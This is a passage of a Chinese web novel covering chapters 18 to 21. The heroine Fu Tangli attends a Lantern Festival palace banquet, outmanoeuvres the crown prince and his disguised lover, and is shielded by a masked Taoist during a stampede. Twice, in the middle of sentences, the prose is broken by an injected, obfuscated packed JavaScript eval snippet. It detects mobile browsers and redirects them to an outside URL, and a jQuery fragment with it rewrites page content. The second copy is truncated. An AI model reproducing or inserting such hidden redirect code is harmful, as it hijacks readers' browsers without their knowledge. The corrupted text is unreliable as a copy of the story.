傅棠梨在大厅中和众人一起守到半夜,实在熬不住,自己回房去睡了,但是一夜爆竹,喧闹沸腾,她也没睡好,辗转着到了天明,整个人都是迷糊的。 黛螺硬生生把傅棠梨从被窝里挖了出来:“娘子自己嘱咐的,今儿无论如何要把您早早地叫起来,须得去各处给长辈拜年,万万不可失了礼数。” 傅棠梨东倒西歪,眯着眼睛,头还一点一点的,让黛螺胭脂服侍她洗漱打扮,口中嘟囔着:“行也得礼、坐也得礼,处处讲究繁文缛节,真是累人。” 胭脂心疼:“若不然,娘子再睡会儿,我看三娘子就娇气,去年这时候,足足睡到晌午,三老爷和夫人一句话也不曾说,还叫人不要吵着她了。” “那是她。”傅棠梨懒洋洋地道,“若换是我,还未到晌午,就有人要说闲话了,算了,比不得。” 门外的婆子进来,道:“娘子,今儿大早,严五家的从山上下来,捎了一样东西,说是云麓观里的师父给您送的回礼,您要不要看看?” 傅棠梨一下子清醒过来:“拿来。” 婆子呈上了一个信封。 傅棠梨打开信封,里面什么字也没有,只有一张符箓,上面用朱砂开阖纵横地画着怪异的形状,她看不太懂,茫然地道:“这就是云麓观的回礼?这是什么?” 婆子想了一下,回道:“对了,送礼的道长说了,这是一张平安符。” 胭脂探头看了一眼,撇了撇嘴:“忒小气,这也算礼?” 傅棠梨把那张符箓反复看了良久,越看越觉得眼熟起来,她从随身携带的经卷中翻出两张旧符,对比了一下。 锋刃锐利,骨力遒健,落笔间带着云烟松鹤气,勾折时却有金戈之意,这张平安符的笔迹和之前的太清涤尘符以及甘露清静符一般无二。 傅棠梨“扑哧”笑了,胭脂问她笑什么,她却摇头不说,只把那张平安符小心地收起来,一起夹到经卷中去了。 难得晴天,昨夜的雪开始融化了,新年伊始,日光正好,生出了一点暖意。 —————————— 至元宵,皇室家宴,沈皇后命人召唤傅棠梨入宫赴宴。 是夜,永乐殿中庭燎如玉树,高掌明烛,照亮华堂如昼,元延帝和冯太后一起端坐上位,沈皇后居侧位,诸王及皇子、公主等皆在下首。 傅棠梨坐在沈皇后身后,面上始终含笑,顺着沈皇后的话头轻声浅语,分寸拿捏得极好,哄得沈皇后频频点头。 太子赵元嘉分明看见了她,却并未如何表示,只是隔着座位略一颔首而已。 赤金兽炉中吐出缕缕烟絮,龙涎香的气息弥漫在玉帘朱屏间,宫人奉珍错佳酿如流水,乐者在侧殿敲响玉磬,其声清越,绕梁不绝。 一向深居简出的冯太后今日难得有雅兴,出来和儿孙辈同乐,赵元嘉斟了一杯酒,捧给冯太后:“孙儿谨敬皇祖母安康如意。” 冯太后不太饮酒,接过酒盏,略沾了唇,就递给身边的尚宫,笑吟吟地道:“你们看,还是太子孝顺哀家。” 赵元嘉见冯太后兴致颇好,顺口提了一句:“孙儿今日不是把五皇叔请回来了吗,怎不见他?” 冯太后一听这话,就露出了不悦的神色,叹息道:“太子知道哀家想念五郎,去了几趟,今日终于把五郎叫了回来,可恨那不孝子,不过和哀家略说了两句话,刚刚又走了,这一比较,岂非更加气人。” 先帝有五子,最幼者为淮王,与元延帝同为冯太后所出,冯太后以五郎呼之,看似亲昵,语气却带埋怨。 淮王战功彪炳,素有凶煞之名,旁人闻此言,不敢接口,只有元延帝笑道:“五郎打小就这性子,他年轻,不懂事罢了,再过几年自然就好了。” 冯太后冷哼了一声:“皇帝每次都这么劝说哀家,转眼太子都要成家了,五郎还要几时才能懂事起来?” 这么说着,她又想起一事:“对了,皇帝为太子聘下的是傅方旭的孙女儿吗?听说今日她也来了?” 沈皇后赶紧推了推傅棠梨:“快上去拜见太后。” 傅棠梨上前,拜伏于地:“儿拜见太后娘娘,娘娘万福金安。” 冯太后的语气淡淡的:“抬起头来,让哀家看看。” 傅棠梨依言抬头,与冯太后目光相触。 冯太后年过五旬,头发依旧乌黑,梳着高耸的凌云髻,戴着十二树赤金花冠,高贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681921|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可方物,她少时有殊色,艳光动长安,如今上了年岁,脸颊消瘦,眼角和眉间也刻上了纹路,让她的容貌显得格外凌厉。 她居高临下地打量着傅棠梨,目光带着一种挑剔的审视,像针一样,叫人很不舒服。 傅棠梨不动声色地垂下眼睛,作出一幅恭敬的姿态。 冯太后并没有将傅棠梨看在眼里,或者说,她对于旁人向来如此,说话时带着天经地义的傲慢:“你幼而丧母,哀家本不中意,是皇后一力担保,说你温恭淑雅,是个贤良女子,哀家念及傅方旭忠心能干,傅家门风清正,这才允了,你莫要辜负这番恩典,日后更当清闲贞静,守节整齐,尽心侍奉太子,你可记下了?” 傅棠梨的手藏在袖中,紧紧地攥住,指甲掐进手心,一阵刺疼,她的腰肢挺得笔直,神色平静,简单地应了一个字:“是。” 冯太后点了点头,终于露出一点笑容:“哀家知道你必然是个好孩子。” 傅棠梨谢恩退下了,回到原先的座位,姿态娴雅,面色从容,没有丝毫波动。 乐声曼妙,筳宴繁华,众皇室宗亲难得一聚,一时觥筹交错,笑语晏然。 沈皇后略喝了一杯酒,出去更衣。 皇后身边的尚宫女官对傅棠梨使了一个眼色,傅棠梨立即会意,起身随侍。 宫人们服侍沈皇后更衣毕,她并不回去,而是在廊阶下略站了一会儿:“里头怪闷的,不如在这里透透气。”她看了傅棠梨一眼,“你们年轻的小娘子,大约也不太喜欢这种拘谨的场面吧?” 傅棠梨站在沈皇后的身边,眉目柔和:“皇家盛宴,蔚然大气,儿今日得窥天颜,只觉荣耀,并无拘谨之感。” 沈皇后笑了起来,抬手示意左右退后,不紧不慢地向前踱了两步。 “方才,太后说了那番话,你可觉得委屈?”沈皇后状似不经意地问了一句。 傅棠梨神色不动:“太后谆谆教诲,儿伏阁受读,那‘委屈’二字是不沾边的。” 沈皇后眼中笑意更深:“不错,但凡女子,一旦嫁入天家,傲气是最要不得的东西,看来你不须旁人提点,很好。” 月色如水,流过繁华宫城,依稀有些清冷,喧嚣近在咫尺,隔着雕栏门柱,也变得晦涩起来。 傅棠梨低头:“是。” “你是个懂事的孩子,是非轻重拿捏得清楚,很好。”沈皇后望着傅棠梨,慢悠悠地道:“前些日子,太子因林氏女郎之事,对你颇有微词,本宫原先还有些不放心,如今看来,是本宫多虑了。” 傅棠梨安静地站在那里,连眉毛都没有动弹一根。 沈皇后暗暗颔首,继续道:“太子年轻不更事,一时迷糊了也是有的,本宫选你做太子妃,看中的就是你稳重大气、聪明通透,远胜那林氏女郎,你千万不要辜负本宫的期望,多少花点心思,及早把太子拉回头。” 无论皇后说什么,傅棠梨统统应“是”,神情诚恳,声音温柔,挑不出一丝毛病。 沈皇后心中熨贴,亲昵地拍了拍傅棠梨的手:“眼下呢,就有一个好机会,今夜长安大摆花灯,太子奉圣上之意,将到长安各处巡视,而后至朱雀大道中央的崇业坊,主持施放烟火,与长安庶民同乐,届时,你与他同去,你们已经定了婚约,合该多多亲近才是。” 傅棠梨微微一惊,抬头看了沈皇后一眼,见沈皇后只是笑着,却目光炯炯地盯着她,她抿了抿嘴唇,很快,还是应了一个“是”字。 沈皇后终于满意了,带着傅棠梨又回到永乐殿中。 稍后,宴罢,果然,赵元嘉向元延帝禀道将出宫巡视,起身告退。 元延帝不过略嘱咐了两句,就放他去了。 傅棠梨迟疑了一下,沈皇后的眼睛已经看了过来,她无奈,只得起身,拖拖拉拉地走了出去。 赵元嘉一出永乐殿,立即有一群内侍拥了上来,跟随在他身后。 傅棠梨走得稍微慢了一点,及至到了殿外,赵元嘉已经走出老远了,不得已,她开口唤了一声:“太子殿下,请留步。” 19.第 19 章 左右宫人皆在,赵元嘉不好装作没听见,只能停住脚步,回过头来,生疏而客气地问道:“傅娘子何事?” 傅棠梨施施然走过去,才到近前,还未说话,却瞥见赵元嘉身边站着一个小内侍,和他挨得特别紧,尤其是见着傅棠梨过来,那内侍还刻意往赵元嘉的肩膀上靠了一下。 身后大殿明烛如昼,宫人们挑着六角琉璃灯侍立周围,夜色正好,一切都瞧得清清楚楚。 那内侍体态娇柔,虽着宦官常服,却依旧透出婀娜有致的曲线,更兼面容艳丽,眼若桃花、红唇流朱,说不出的妩媚婉转,正是太子的心上人林婉卿。 果然,今日元夜时,正宜人约黄昏后,好一对有情人,这般形影不离,就算是鸳鸯也要被这两人给比下去了。 傅棠梨心中直叹晦气,面上却一点儿不显,反而愈发娴静,颔首曲膝,朝太子微微一拜:“今夜各处花灯热闹,我欲赏灯去,太子可否允我同行?” 赵元嘉挪了一步,不动声色地挡在林婉卿的面前,试图将她遮住,而对傅棠梨,他分不出更多的柔情,只是敷衍道:“孤奉皇命,督查城防,乃是正事,不免无趣,傅娘子若要看花灯,但请自便。” 林婉卿在后面偷偷地拉住了赵元嘉的手,探出头来,抬起下颌,对傅棠梨露出了一个笑容,目光轻蔑,明显带着挑衅的意味。 傅棠梨本来只想应个景,在沈皇后面前有个交代既可,这会儿却来了兴致,她轻轻蹙起眉头,露出一点苦恼的神情:“可是,方才太后有言,要我尽心侍奉太子,皇后娘娘又万千嘱咐,命我跟随太子左右,如今太子却不令行,叫我十分为难,若不然,待我再回头请尊长示下?” 她说着,作出转身要走的姿势。 赵元嘉暗道不妙,心念急转,开口叫住了傅棠梨:“且住。” 傅棠梨停步,挑了挑眉毛,她一向端庄雅致,就连这个神情也做得曼妙,带着一点似笑非笑的意思。 赵元嘉的心绪有些浮躁,他皱了皱眉头,勉强道:“也罢,那你与孤同去便是。” 后面的林婉卿听得此言,当即变了脸色,撅起了嘴,哀怨地瞪了赵元嘉一眼。 赵元嘉的脸色有些不自然起来,用拳头抵住嘴,咳了一声:“不过……” “不过殿下身边这位公公,还是请她退下为宜。”傅棠梨慢条斯理地截住了赵元嘉的话,“今夜街头人多,太子出行,自然要得力之人护卫周围,似这位公公身量单薄,只怕还要旁人照顾她去,耽误了太子正事,岂非罪过。” “你!”林婉卿气得跺脚,恨恨地咬住了嘴唇,但她今夜乔装成内侍,偷偷与太子私会,本就不敢声张,此时虽然恼怒,也不敢大声,只能抓着赵元嘉的手,摇了两下。 赵元嘉沉下了脸:“傅娘子何至于咄咄逼人?” “太子觉得我说得不妥吗?”傅棠梨一脸诚恳,“我一心只为太子着想,或许亦有不周之处,若不然,待我再回头请尊长示下?” 又来这句!她除了会告状,还会别的吗? 赵元嘉气极,一声断喝:“傅娘子。” “嗯。”傅棠梨软软地应了一声,神情淡雅,甚至无辜。 一旁有侍从上前提醒:“殿下,时候差不多了。” 元宵夜巡视都城,乃元延帝所命,右金吾卫大将军此时已经率部在朱雀门外候着,赵元嘉不敢再耽搁,他毕竟位居太子之尊,行事还是果断的,当即转头对林婉卿道:“你先退下吧。” 林婉卿瞪大了眼睛,眸中浮起泪光点点:“殿下……” 赵元嘉无意再做纠缠,硬起心肠:“去。” 林婉卿颤抖着嘴唇,捂住了脸,发出轻微的啜泣,踉跄着转身走了。 事已至此,赵元嘉心中大怒,板着脸,再也不看傅棠梨一眼,大步离去。 众内侍见太子发怒,不敢近前,稍微落在后面,傅棠梨却加快脚步,跟了上去。 “太子息怒。”她的声音是温柔的,但语速很快,清晰而利落,“林娘子如此形迹,我一眼便能认出,何况他人乎?我知太子光明磊落,但今夜城中眼多嘴杂,倘若有人借此非议,太子以女郎充做内侍,不免有秽乱宫闱之嫌,传扬出去,岂不是要妨碍太子的名声?” 赵元嘉脚步不停,冷冷地道:“孤的名声,不须你来操心。” 傅棠梨镇定自若:“我既然许给太子,便是休戚与共,太子英名受损,则我颜面无光。”她轻轻地笑了一下,柔声道,“我怎么能不操心呢?” 赵元嘉回头看了她一眼,哼了一声:“花言巧语,狡辩而已,孤不想听。” 傅棠梨长长地叹息了一声:“莫非,我见太子与林娘子亲密无间,要无动于衷,太子才能满意吗?” 赵元嘉终于停住了脚步,冷笑起来:“不错,终于肯承认了,你面上说得冠冕堂皇,实则不过是在嫉妒罢了。” 傅棠梨抬起手,指如兰花,在嘴唇上划过,那似乎是一个噤声的姿势,她什么也没有说,只是微微地笑了一下。 那大抵是承认了吗? 赵元嘉恼怒起来,又凭空生出了异样的感觉,那或许是一点说不出的得意,他方才在宴上酒喝多了,这会儿心口突突地开始跳,有些燥热,不想再多看傅棠梨一眼,加快了脚步。 元宵夜,月圆时,夜色清朗如水洗,宫城繁华,高檐上踞首的鸱吻映在红墙上,勾勒出半阴半明的影子,风轻轻地吹过来,似乎带着禁庭深处的熏香的味道,迷离而沉醉。 赵元嘉疾步走着,不远处,朱雀门就在眼前,右金吾卫大将军孙澄领着属下候在那里,见太子过来,齐齐躬身:“参见太子殿下,吾等人马已齐备,听候殿下调遣。” 赵元嘉略一颔首,装作若无其事,矜持地回头瞥了一眼。 傅棠梨离得有些远,双手笼在袖中,不紧不慢地走着。 赵元嘉忽然发觉,她无论何时,腰肢总是挺得笔直,姿态总是那么优雅,微风摇曳她的裙裾,她踏着月光而行,如同从工笔画卷中走下来一般。 他咳了两下,生硬地道:“怎如此拖沓,难道还要孤等你不成?” 傅棠梨望了过来,她眼波流动,仿佛此间月色婉转,说话的声音恭敬又柔和:“太子既不喜我,我便离您远一些,您看,其实我也是善解人意的,您莫要再生气了。” 罢了,这个既然是沈皇后为他选定的太子妃,今晚就权且当作体恤沈皇后的情面吧,赵元嘉很快为自己找到了理由,站在那里,用倨傲的语气道:“你哪里值得孤生气,闲话少说,快点。” 待到傅棠梨走近时,赵元嘉依旧一脸不耐,但手却伸了过去,自然而然地想要牵住她。 他的手指碰触到了她的衣袖。 傅棠梨似乎顿了一下,袖子一拂,从赵元嘉的指尖滑走了,她突然加快了脚步,目不斜视,径直从赵元嘉身边走了过去。 赵元嘉讶然,皱起眉头,不悦地道:“傅娘子这是何意?” 傅家的马车与奴仆皆候在朱雀门外,傅棠梨疾步行去,不过回头看了一眼,眼眸灵动若惊鸿,语气却带着漫不经心的慵懒:“哦,我突然想起方才林娘子和太子殿下站在一处,那般珠联璧合,叫我心里不舒服起来,罢了,我不去了,您自便吧。” 赵元嘉目瞪口呆,旋即大怒:“你大胆,敢如此戏弄于孤?” 但是傅棠梨掉头而去,再也不理他了。 金吾卫的士兵持着长戟与刀弓,在一旁守候着,身后的内侍垂手肃立,皆在等候太子殿下吩咐,赵元嘉不能有失仪态,也无暇再与傅棠梨计较,他恨恨地咬了咬牙,翻身上了马,还在暗自思忖,这天下的女郎大抵都是一样,吃酸拈醋,叫人厌烦。 但这么想着,他心里又莫名地觉得满足起来。 …… 傅棠梨上了马车,几乎是摔下了帘子,她向来端方娴雅,少见如此急躁,幸而并无外人窥见。 黛螺和胭脂跟了上来,见傅棠梨的脸色铁青,十分难看,担忧地问道:“娘子怎么了,可是酒喝多了?” 傅棠梨飞快地脱下了身上穿的那件折枝海棠云罗外衫,扔到一边,掏出帕子来擦了擦手,一脸嫌弃:“他碰到我的衣裳了,着实叫人反胃。” 她说到这里,又想起了方才的情形,忍不住捂着胸口,干呕了一下:“面目可憎,轻浮滥情,居然还敢自命不凡,这世间怎会有如此猥琐之人,奇哉怪哉。” 黛螺和胭脂对视了一眼,大致有些明白,黛螺直叹气,胭脂想了想,还是尽职尽责地试图安慰主人。 “太子殿下人品不说,样貌还是出众的,算不上猥琐,娘子不如将就些,或许看着、看着,也就习惯了。” “将就,怎么将就?”傅棠梨的嘴角一抽,“咚”的一下,把脑袋磕到车厢上,虚弱地道,“我以为我行的,没想到我不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她兴致勃勃,见到什么都觉得有趣,一路走着,买了提灯、折扇、香药、松子糖、玫瑰糕等各色玩意儿,一律都叫胭脂拿着。 东西越拿越多,渐渐地,胭脂觉得吃力起来,朝傅棠梨撒娇地抱怨:“娘子,歇歇吧,可沉了,我两只手都要抱不动了。” 傅棠梨闻言不禁莞尔,见前方有茶楼,正待与胭脂过去小坐片刻,突然眼角瞥到了一个身影,她“咦”了一声,收住了脚步。 胭脂一时不察,差点撞到傅棠梨的背上:“娘子怎么了?” 傅棠梨疑心是自己眼花,她蓦然回首,又望了一眼。 转角口,高树下,灯火阑珊的尽处,有个人站在那里。 他穿着灰色的旧道袍,隐没在廊檐的阴影下,脸上戴着一个青铜面具,模糊而晦涩,连面容都无法窥见,但他的身量是那么高而挺拔,周遭皆是凡尘,唯他遗世而独立。 不消问、也不消说,傅棠梨一眼就认出了他。 无数人在此间来去,大抵一切看过去都是飘摇不定的。 只用一刹那的时间,他同样发现了她,看向这里。 灯火葳蕤,四目相对,中间有浮光掠影。 傅棠梨不紧不慢地穿过人流,走到他面前,她无论何时总是仪态端庄,街头遇故人,温雅地寒暄一二:“道长素居世外,缘何今日踏足人间?” 玄衍好像发出了一点笑声,但遮挡在面具之下,听过去显得格外低沉,他抬起手,做了个手势。 傅棠梨这才注意到,玄衍的身后还立着一个中年男子,服饰朴素,似市井百姓,但身形魁梧,气度高贵,又不同寻常,他看见了玄衍的示意,恭敬地躬下身,无声地退去,很快消失在人群中。 玄衍拂了拂衣袖,语气淡然:“有俗人屡屡扰我清修,强邀我至此,不胜其烦,正欲归去。” 傅棠梨微微地笑了起来,一本正经地道:“那不巧了,我在道长眼中亦是俗人一个,这会儿该远远地避开才是。” 玄衍生得太高了,她要仰起脸才好和他说话,这种姿势,让她不自觉地显露出一种温顺的妩媚,灯火落在她的眼眸里,似惊鸿照影,溅起春波。 或许是这尘世的夜色太过绚烂,叫人迷失,说不清、道不明,玄衍在心底慢慢地生出一种柔软的感觉,万家灯火,人间团圆,而她,恰恰就在眼前。 20.第 20 章 他避开目光,不能再多看一眼,却鬼使神差一般,道了一句:“相逢不如偶遇,既如此,便同赏这元夜花灯去,大抵还是不错的。” 他言罢,矜持转过脸,负手而行,走了两步,又回头看了一眼。 虽然道长戴着面具,看不出他的神态,但傅棠梨就是能从他的姿势和眼神中分辨出他的意思。 那是叫她跟上。 傅棠梨料想不到他竟有此雅兴,她微怔了一下,旋即笑了笑,吩咐胭脂自去茶楼坐着休息,她则拾起步子,跟上玄衍。 “这年节过得真快,仿佛昨日还是除夕,转眼就到元夜了。”她说话的时候,语气从容又优雅,不疾不徐,尾调上却带了一点婉转的意味,好听得很,“除夕时叫人送过去的点心,口味可还行?” 不太行。玄衍这么想着,却依旧淡定地应了一句:“尚可。” 傅棠梨神态自然,颔首道:“道长的平安符画得也尚可,我贴在房门口了,新春大吉,托您的福,祈愿今岁诸事平安顺遂。” 玄衍漫不经心地看了她一眼,看不见他的神情,但在这满街花灯照影下,他的目光是温和的。 两个人慢慢走着,一前一后,离得不太近、也不太远,恪守礼仪,又有着微妙的融洽。 傅棠梨看着路边一盏盏漂亮的花灯,有时闲语两句,玄衍顶多应答一二字,或者只是一个“嗯”,而这街市热闹欢快,喧嚣之声不绝,如此就够了,不需有太多言语。 再多走两步,傅棠梨见街边有一小摊,一白发老叟在贩卖糖画,两个小童刚刚拿到新鲜的老虎和老鹰,十分开心,蹦蹦跳跳地从傅棠梨的身边跑过去了,撒下一串清脆的笑声,惹得她心里一阵痒痒。 自从回到长安后,她就不曾玩闹过了,这会儿被勾起了兴致,过去在糖画摊子上探头看了一圈。 老叟看过去年纪很大了,手艺却极好,架子上插着做好的凤凰、飞龙并公鸡等各类花色,尽皆精美,惟妙惟肖。 “老人家,您还能画些什么?”傅棠梨笑问道。 “只要小娘子喜欢,老头子我什么都能画。”老叟殷勤地回道。 “什么都能画呀?”傅棠梨忽然生出了一个念头,或许又存了一点捉弄的心思,她朝后面招了招手,“道长,劳烦您过来一下。” 玄衍走了过来。 他身形如青松,气势如山岳,高而宽硕,往那一站,阴影笼罩下来,几乎把小摊子全部遮住了。 老叟有些畏惧,说话的声音一下变得小了:“二位,要买我的糖画吗,看中哪个?” 傅棠梨客客气气地和玄衍商量:“寻常花色我都看腻味了,今儿想叫老人家给我画一个神仙,正好呢,您道骨仙风,端的就是神仙模样,照着您来画,可以吗?” 玄衍从鼻子里发出一点声音,像是冷哼,又像是轻轻地笑了一下,他站在那里没有动。 那大抵就是同意的。 傅棠梨便转而对老叟道:“如此,就劳烦老人家,按着这位道长的模样,给我画一个神仙。” 玄衍岿然不动,沉默地站在那里。元宵赏灯时节,街头亦有不少人带着各色花样的面具,本是游戏之意,独他的面具是青铜的,雕刻的容颜冰冷生硬,如同山庙中供奉的泥塑,森冷而怪诞。 老叟咽了一下口水,战战兢兢:“神、神仙,长这样吗?” 傅棠梨也觉得有些不对,笑道:“若不然,道长把面具摘了吧,这么戴着,确实不像神仙了。” 当下月色正好,花灯胜景,应是欢庆祥和之夜,且容她胡闹一回,玄衍沉默了一下,摘下面具。 眉似剑刃斜飞,目若瀚海朗星,花灯璀璨,光影交错,仿佛浓墨重彩勾勒出他的面容,俊美近乎于天人。 老叟被玄衍的气度容形所震慑,愣神了片刻,不敢怠慢,打点起十二分精神,熬煮糖汁,很快用小勺画出了一个仙人。 那仙人不过一个巴掌大小,穿着飘逸的道袍,脚踏祥云,虽然眉眼不甚清晰,但形体修长,姿势高傲,活脱脱就是玄衍当下的情态,做得还是很有些神似的。 傅棠梨很是满意,拿起来在手里看了又看,对玄衍道:“这个小糖人很漂亮,归我了,道长想要吗,叫老人家给你再做一个,可好?” 玄衍并不言语,他从袖子摸出一块碎银子,随手丢在老叟的摊上,转头走了。 傅棠梨追了上去,迈着小碎步跟在他身后,诚恳地问道:“真的不要?” 哪怕是在玄衍年幼的时候,也未曾对这些花里胡哨的玩意儿有过兴趣,他不太明白这个女郎为何如此欢喜,但他并没有生出不耐或者不悦的情绪,反而语气平和,甚至有点像在哄她。 “不要,你自己玩去。” “哦。”傅棠梨抿了抿嘴唇,轻轻地晃了晃了手里的糖人,“那我吃掉了。” 她把小糖人放到唇边,却犹豫了一下,无缘无故地笑了起来,眉眼弯弯,看了看小糖人,又看了看玄衍。 她眼中促狭的意味过于明显了。 玄衍面无表情:“不要看,那个不是我。” 傅棠梨的嘴角翘得更高了,露出了两个小小的酒窝,她低头端详着小糖人,委实有点苦恼了,一口下去咬哪里呢? 道长的头?福生无量天尊,不敢,不敢,真不敢。 她又偷偷地看了玄衍一眼。 玄衍的脸色已经有些不妙了,目光如剑,严厉地望着她。 傅棠梨想了半天,在小糖人的肩膀上轻轻地啃了一下,她自己就忍不住,笑了起来:“道长……很甜。” 或许有糖汁沾上了她的嘴唇,湿漉漉的,泛着水光,宛如樱桃,是的,四月天枝头刚刚结出的,鲜红的,饱满的樱桃。 很甜吗? “说什么胡话,那个不是我。”玄衍的神情更加严肃 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傅棠梨微笑着跟在后面:“道长认得路吗?这长安的街道我还不太熟呢。” 街头的百姓大多也要赶去崇业坊观看烟火,携家带口,老少妇孺皆出行,行人越来越多,又有诸多富豪官宦人家驾着马车过来,路也越来越挤了。 玄衍的脚步渐渐慢了下来,他素好清静,在长安时多居于深山,眼下这般人声鼎沸,令他的眉头不由自主皱了一下。 傅棠梨突然又开口:“罢了,不去了。” 玄衍回头看了她一下。 “人多,杂乱,道长不喜。”她顿了一下,想了想,又补了一句,“我也不喜。” 玄衍淡然道:“无妨。” 就在这时,“砰”的一声巨响,远处的天空中升起一团烟火,如同在夜幕下绽放开的巨大花朵,绚烂夺目。 傅棠梨情不自禁地抬头望去。 百姓们欢呼起来。 但是,旋即,那边传来的隐约的吵杂声,有人惊恐地在叫喊:“烟火偏了,前面、前面走水了……” 玄衍收住脚步,警觉地抬头望了一眼,他身形格外高大,视野也格外开阔,看见崇业坊的方向似乎有些异动。 他立即伸手,抓住了傅棠梨的胳膊,沉声道:“回头。” 已经来不及了,那一团烟火后夜空再没了动静,但“走水”的呼叫声越来越大,一个人喊着,就有许多人跟着,街上处处是花灯,灯火摇曳,分辨不出何处是真假。 只在顷刻之间,人群炸开了锅,百姓们试图退后,但左右人山人海,完全无从脱身,众人情急起来,拼命地互相推搡着。 很快有人被挤得跌倒在地,大声哀嚎,却惹得情势更乱,一时间,呼儿声、喊娘声、叫骂声、孩童啼哭声,种种不绝于耳,所有人都在逃窜,慌不择路,拥挤着,越来越多的人跌倒,而后有人踩踏上去。 21.第 21 章 好在玄衍体格高硕,身负千钧之力,他一手护着傅棠梨、一手拨开人群,笔直向前,无物可阻。 傅棠梨的手臂被玄衍抓得生疼,但她咬紧了牙,没有吭声,危急时刻,也顾不得避讳,紧紧地挨住了玄衍。 街道上愈发混乱不堪,玄衍自然无惧,但他身边带着一个女郎,却担心她磕碰到,他迅速察看左右,果断地拉着傅棠梨移到一处高墙下,那是高门大户的宅院外围,青壁高耸,长长的一道,十分坚固。 他用自己的身体挡住了周围的人流,双手撑住墙壁,将傅棠梨圈在其中,对她说了一句话。 周围过于吵杂,耳朵嗡嗡作响,傅棠梨听不清他在说什么,但她看懂了他的口型,很简单,两个字。 “别怕”。 靠得太近了,他的手按在她的耳鬓后面,宽大的袖子垂下来,覆盖她的肩膀,而他的胸膛几乎要碰触到她的鼻尖,不知不觉间,他的气息已经将她环绕。 寂静山林中,积雪覆盖了白梅,乌木香微苦,似有还无。 无数人在身边奔逃、尖叫、来回推搡,而在他庇护下,独有这方寸天地,是安稳的港湾。 她忍不住抬起头来看他。 花灯挂在高处摇晃,不断坠落,光影明灭,而他的面容是如此英俊,逆着光,那刚硬的轮廓也显得柔和起来,仿佛仙人从云端降下,踏入凡尘,而此际恰好在她眼前。 只是,仙人的脸上有点不对劲。 傅棠梨“扑哧”笑了起来,她又露出了那种促狭的神情,咬着嘴唇,两个小酒窝忽闪忽闪的。 她踮起脚,抬起手,用袖子在他脸颊上蹭了一下。 光影过于凌乱,其实傅棠梨分辨不出他的神情,骤然间,他似乎受到了冒犯,身体都绷紧了,有一种锐利的气势压了下来,试图阻止她的动作。 果然,道长极好净洁,连旁人稍微触碰一下都不许,若是不管他,过会儿他自己觉察到了,只怕更要生气。 “糖。”她指了指他的脸颊,告诉他,“这里,糖。” 方才混乱中,傅棠梨手中的小糖人无意碰到了玄衍,这会儿,糖人丢了,却在玄衍的脸上留下了一块琥珀色的糖印子。 她有些心虚,手指头比划着:“我给您擦干净。” 声音太多太杂,玄衍听不太真切。 她又摸了上来,隔着柔软的衣袖,能感觉到她的手指在他脸颊上划过,黏黏腻腻,他闻到了一种味道,像是蜜糖,很甜。 他素有洁癖,向来不喜外人亲近,他本应阻止她的无礼,但或许是由于此间人声纷沓,如潮水奔涌,连带着他的心绪也混乱了起来,一时无法动弹,只能直直地保持着那个姿势,由着她去。 她又笑了,她的眼睛生得很美,盛满了此夜的月色和灯光,盈盈流动,他低头看着她的时候,好似窥见江南的烟雨婉转。 “糖。”她笑得有些狡黠,为了叫他听见,她抬高了声音,还不自觉地凑上来一点,“擦不干净,怎么办呢?” 她的呼吸拂过他的脖子,就像方才的小虫子从肩膀爬到这里,又咬了一口,痒得刺骨,叫他难以忍耐。忽然间心跳如擂鼓,血气沸腾着,几乎要冲破胸腔。 他模模糊糊地想着,是的,怎么办呢? 无计可施,无法可想。只是安静的、沉默地僵持在那里,任凭身后人潮汹涌、喊声沸天,不动也不语。 …… 过了很久、很久,京兆府调遣了人马过来控制局面,大队官兵持着刀和盾,压制住骚乱的人群,才渐渐把这一场骚乱平息了下去,那时候,地上已经躺倒了许多人,哀声不绝,到处呼爷喊娘。 听说是崇业坊那边施放烟火出了差池,烧着了几盏花灯,本无大碍,谁知道以讹传讹,居然引发百姓奔走踩踏,京兆府当差的官员十分不耐,还在那里大声呵斥着。 傅棠梨毫发无损,长长地吁了一口气:“若非道长,焉知我此时身在何处。” 玄衍略一低头,恰好和她对视。 花灯的烛火还在摇摆,远处有官兵策马奔驰,马蹄声急促,敲得人心跳加快。 他立即转过脸去,又恢复了清冷高傲的神态,傅棠梨甚至来不及看清他的眼神。 傅棠梨不敢多做揣摩,方才的情形过于微妙,幸而并无旁人窥见,她此刻只能装做一派云淡风轻的模样,环顾四周,多少扯出一两句话来。 “今日分明是佳节,却生此异变,也不知该如何收场。” 玄衍不着痕迹地后退了两步,将身形隐在高墙的阴影下,远远地望着京兆尹的那群人马,目光冰冷:“赵元嘉何其无能,区区小事,竟至于此,如何担江山社稷?” 这话明显僭越了,山野道士,竟然妄议当今储君,实为大不韪,傅棠梨只得当作没有听见。 她不自在地咳了两声,轻声细气地道:“道长,脸上有糖……” 玄衍神色不变,拿出一方帕子,慢条斯理地擦了脸:“玩够了?” “这情形,也没的玩耍了。”傅棠梨遗憾地摇头。 “回吧。”他扔了帕子,转身,示意她跟上。 目之所及,行人狼藉,树梢凌乱,月色佳期被辜负。傅棠梨轻轻地叹了一口气:“可惜了,盼了许久,却不能看到焰火。” 玄衍闻言,回头望了她一眼。 花灯渐次熄灭,分辨不出他的神情,他的目光浸透了夜色,浓墨深沉,叫人心悸。 “怎么了?”傅棠梨无辜地回望他。 “不过一场焰火而已,有何难,过几日再叫你看罢了。”玄衍似乎笑了一下,但那笑容一闪而过,并不真切,他不再看她,目不斜视,负手而行。 那话是什么意思?傅棠梨也不好再问。 月色清冷,属于他的那种乌木的苦香气正在逐渐淡去。 